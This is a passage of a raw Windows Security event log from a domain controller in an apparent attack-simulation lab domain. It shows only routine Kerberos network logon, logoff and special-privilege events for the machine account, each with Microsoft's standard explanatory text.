	Logon ID:		0xBE1A6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248680
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE460

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248679
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE460
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63997

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248678
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE460

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248677
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE3FF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248676
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE3FF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63996

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248675
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE3FF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248674
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE399

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248673
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE399
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63995

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248672
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE399

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248671
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE338

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248670
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE338
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63994

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248669
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE338

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248692
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE728

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248691
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE728
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64001

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248690
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE728

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248689
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE6C6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248688
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE6C6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64000

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248687
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE6C6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248686
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE660

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248685
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE660
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63999

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248684
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE660

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248683
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE5FF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248682
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBE5FF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63998

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248681
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBE5FF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248704
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBFAB8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248703
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xBFAB8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64005

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248702
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBFAB8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248701
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xBFA43

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248700
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
